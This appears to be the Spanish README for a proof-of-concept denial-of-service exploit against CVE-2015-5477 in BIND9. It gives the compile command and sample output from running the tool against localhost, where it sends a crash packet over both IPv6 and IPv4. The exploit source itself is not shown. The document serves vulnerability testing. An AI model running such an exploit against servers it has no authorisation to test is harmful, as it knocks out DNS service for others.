
Exploit de PoC para CVE-2015-5477, fallo de aserción de TKEY en BIND9
Este exploit comprueba si un servidor BIND9 es vulnerable enviando el exploit para ver si se bloquea.
Es código C que se compila de la forma habitual en Unix/Windows, por ejemplo:
# gcc tkill.c -o tkill
Funcionará tanto sobre IPv4 como sobre IPv6.
Esto es lo que se ve al ejecutarlo contra localhost. Como obtiene
dos direcciones IP al resolver el nombre, intentará con ambas.
Primero consulta la cadena "version" y luego envía el exploit.
Cuando sondea la segunda dirección, la consulta de versión falla porque
el servicio ya se ha bloqueado con el primer intento.
root@kali:~/cve-2015-5477# ./a.out localhost
--- PoC for CVE-2015-5477 BIND9 TKEY assert DoS ---
[+] localhost: Resolving to IP address
[+] localhost: Resolved to multiple IPs (NOTE)
[+] ::1: Probing...
[+] Querying version...
[+] ::1: "9.11.0pre-alpha"
[+] Sending DoS packet...
[+] Waiting 5-sec for response...
[+] timed out, probably crashed
[+] 127.0.0.1: Probing...
[+] Querying version...
[-] timed out getting version, trying again
[-] timed out getting version, trying again
[-] timed out getting version, trying again
[-] Can't query server, is it crashed already?
[-] Sending exploit anyway.
[+] Sending DoS packet...
[+] Waiting 5-sec for response...
[+] timed out, probably crashed